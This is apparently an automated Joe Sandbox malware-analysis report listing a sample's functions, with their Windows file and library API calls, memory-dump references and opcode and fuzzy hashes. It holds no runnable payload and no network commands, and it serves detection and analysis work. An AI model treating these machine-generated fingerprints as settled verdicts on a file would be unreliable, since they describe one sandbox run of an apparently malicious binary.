                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040580B
                                                                                                            • Part of subcall function 0040553A: FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559
                                                                                                            • Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Find$CloseFileFirstH_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 889498515-0
                                                                                                          • Opcode ID: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
                                                                                                          • Instruction ID: 15a52a3ac40e1f9f01e416ae3406c700f8aec04b6379e90cb97043f6baa550c5
                                                                                                          • Opcode Fuzzy Hash: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
                                                                                                          • Instruction Fuzzy Hash: 2AE01AB195150AAACB04DB50CC52AEEB760EB1131CF00421AA421722D0877856488A28
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040F8C3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040F8C8
                                                                                                            • Part of subcall function 0040F648: __EH_prolog.LIBCMT ref: 0040F64D
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
                                                                                                          • Instruction ID: 6b40bdca6a02cd8c303c1b1c800ac92429027f894e9b325ac65d5e69f4ab0667
                                                                                                          • Opcode Fuzzy Hash: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
                                                                                                          • Instruction Fuzzy Hash: 0CD01272911104EBD711AB49D842BDEBB68EB8135DF10853BF00171550C37D56459569
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405B7B Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • ReadFile.KERNELBASE(000000FF,00000000,?,?,00000000,000000FF,?,00405BC6,00000000,?,00000000,?,00405BEC,00000000,?,00000000), ref: 00405B91
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileRead
                                                                                                          • String ID:
                                                                                                          • API String ID: 2738559852-0
                                                                                                          • Opcode ID: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
                                                                                                          • Instruction ID: c5e24743f6b433bb21cc94cc2971fe47eb8403274bd7f90fdb54931116458873
                                                                                                          • Opcode Fuzzy Hash: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
                                                                                                          • Instruction Fuzzy Hash: 7EE0EC75241208FBCB01CF90CD01FCE7BB9EB49754F208058E90596160D375AA14EB54
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040551A Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CloseFind
                                                                                                          • String ID:
                                                                                                          • API String ID: 1863332320-0
                                                                                                          • Opcode ID: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
                                                                                                          • Instruction ID: 986561ebb0227da743eeb2b9ec995cdcc659c9848a972ac8d271436d9e92df52
                                                                                                          • Opcode Fuzzy Hash: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
                                                                                                          • Instruction Fuzzy Hash: 6BD0123150452166CF745E3C7C459C333D99A123B03660BAAF4B4D32E5D3748CC35AD4
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405A63 Relevance: 1.5, APIs: 1, Instructions: 16COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • FindCloseChangeNotification.KERNELBASE(00000000,?,00405A2C,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A6E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ChangeCloseFindNotification
                                                                                                          • String ID:
                                                                                                          • API String ID: 2591292051-0
                                                                                                          • Opcode ID: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
                                                                                                          • Instruction ID: 8a38a6d9813b312501c47e0c29c9a2f8cf12ac5fa7676fc4773f80372e0f1af5
                                                                                                          • Opcode Fuzzy Hash: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
                                                                                                          • Instruction Fuzzy Hash: 5CD0C93160462146CA645E3C7C849D737D89A16330325176AF0B5D22E4D3748D875E94
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00404BDC Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                            • Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E
                                                                                                          • DeleteFileA.KERNELBASE(?,?,00404DBF,?,00000000,?,?,?,?,?,00000000), ref: 00404BED
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: File$AttributesDelete
                                                                                                          • String ID:
                                                                                                          • API String ID: 2910425767-0
                                                                                                          • Opcode ID: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
                                                                                                          • Instruction ID: 9a45e8f854b003a178289988cc7fc064ae5902da4cc88310474d582750e90668
                                                                                                          • Opcode Fuzzy Hash: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
                                                                                                          • Instruction Fuzzy Hash: 0BC08C26209231439A043ABA3805ACB171E0EC122030AC0BBB800A2059CB288DC221DC
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405C5A Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetFileTime.KERNELBASE(?,?,?,?,00405C84,00000000,00000000,?,00402E12,?), ref: 00405C68
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileTime
                                                                                                          • String ID:
                                                                                                          • API String ID: 1425588814-0
                                                                                                          • Opcode ID: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
                                                                                                          • Instruction ID: 87fe90df0bd66b56430cb58ce5188ab21e49bedd0782b4bf3c7b48ca6ef22eff
                                                                                                          • Opcode Fuzzy Hash: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
                                                                                                          • Instruction Fuzzy Hash: 8EC04C36158105FF8F020F70CC04C5EBFA2EB99711F10C918B269C40B0C7328024EB02
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040489C Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: AttributesFile
                                                                                                          • String ID:
                                                                                                          • API String ID: 3188754299-0
                                                                                                          • Opcode ID: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
                                                                                                          • Instruction ID: c0231da6564a4fbd22ddd4f059f5cfeb57e5ba4ab4dd36146b68eeddd1056acd
                                                                                                          • Opcode Fuzzy Hash: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
                                                                                                          • Instruction Fuzzy Hash: 5BA002A03112059BA6145B315E0AB6F296DEDC9AE1705C56C7412C5060EB29C9505565
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040498D Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CreateDirectory
                                                                                                          • String ID:
                                                                                                          • API String ID: 4241100979-0
                                                                                                          • Opcode ID: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
                                                                                                          • Instruction ID: 18df801fa9cda183c38834b8287032c54ef98b8f5de1dc60049a64e9909c76fe
                                                                                                          • Opcode Fuzzy Hash: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
                                                                                                          • Instruction Fuzzy Hash: DCA0223030030283E2200F320E0AB0F280CAF08AC0F00C02C3000C80E0FB28C000008C
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004048AA Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • RemoveDirectoryA.KERNELBASE(?,00404D27,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 004048AB
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: DirectoryRemove
                                                                                                          • String ID:
                                                                                                          • API String ID: 597925465-0
                                                                                                          • Opcode ID: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
                                                                                                          • Instruction ID: 8a2519b774f471bade5b05e48f192836a719b77eeaa2736f11b150acbb720719
                                                                                                          • Opcode Fuzzy Hash: 5eb19e86367385bc71ec08970d66f6ec81c8b6c1d5f16cf833c81eadf1f07443
                                                                                                          • Instruction Fuzzy Hash: E7A002603112058796241B315F0968F295D9D455D1706C5696516C4060DB29C5505555
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Non-executed Functions

                                                                                                          Function 00418320 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041795A,?,Microsoft Visual C++ Runtime Library,00012010,?,0041BD2C,?,0041BD7C,?,?,?,Runtime Error!Program: ), ref: 00418332
                                                                                                          • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041834A
                                                                                                          • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041835B
                                                                                                          • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00418368
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                                          • String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
                                                                                                          • API String ID: 2238633743-4044615076
                                                                                                          • Opcode ID: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
                                                                                                          • Instruction ID: e87ed1bb16eb8be6f8b96595097180185a60ce52c98033cfd4ddfb8cddd90555
                                                                                                          • Opcode Fuzzy Hash: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
                                                                                                          • Instruction Fuzzy Hash: C50179713002057F87209FB59C80A9B7AF4EB44B45318003EB558C3251DB6DCFC29BE9
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041584A Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_00015804), ref: 0041584F
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                                          • String ID:
                                                                                                          • API String ID: 3192549508-0
                                                                                                          • Opcode ID: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
                                                                                                          • Instruction ID: 76677b13eed7a87b3dd700732a0fedcf1c6828d453a24416ba8446ce1f8cc847
                                                                                                          • Opcode Fuzzy Hash: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
                                                                                                          • Instruction Fuzzy Hash: 6CA022F0280300CF8B00AF20AC082C03E30F28830330000B3B80080238CF380388CA2C
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041585C Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetUnhandledExceptionFilter.KERNEL32 ref: 00415861
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                                          • String ID:
                                                                                                          • API String ID: 3192549508-0
                                                                                                          • Opcode ID: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
                                                                                                          • Instruction ID: 9f5714f3741d262582d91aa49c58cb07bd20065c27159592644951a243d3f8b5
                                                                                                          • Opcode Fuzzy Hash: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
                                                                                                          • Instruction Fuzzy Hash:
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00417836 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100fileCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 004178A3
                                                                                                          • GetStdHandle.KERNEL32(000000F4,0041BD2C,00000000,00000000,00000000,?), ref: 00417979
                                                                                                          • WriteFile.KERNEL32(00000000), ref: 00417980
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: File$HandleModuleNameWrite
                                                                                                          • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $X*B$*B
                                                                                                          • API String ID: 3784150691-2787626558
                                                                                                          • Opcode ID: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
                                                                                                          • Instruction ID: 83e6cc08efc147308ddc610541e3e7ace00831554afff49654370310fabd765f
                                                                                                          • Opcode Fuzzy Hash: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
                                                                                                          • Instruction Fuzzy Hash: 6E310472A00218AFEF20E660DD45FDA737DEB45344F5000ABF544D6140EBBCAAC58BAD
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041881D Relevance: 13.7, APIs: 9, Instructions: 177COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • LCMapStringW.KERNEL32(00000000,00000100,0041BDF8,00000001,00000000,00000000,76F8E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 0041885F
                                                                                                          • LCMapStringA.KERNEL32(00000000,00000100,0041BDF4,00000001,00000000,00000000,?,?,004186BE,?,?,?,00000000,00000001), ref: 0041887B
                                                                                                          • LCMapStringA.KERNEL32(?,?,?,004186BE,?,?,76F8E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188C4
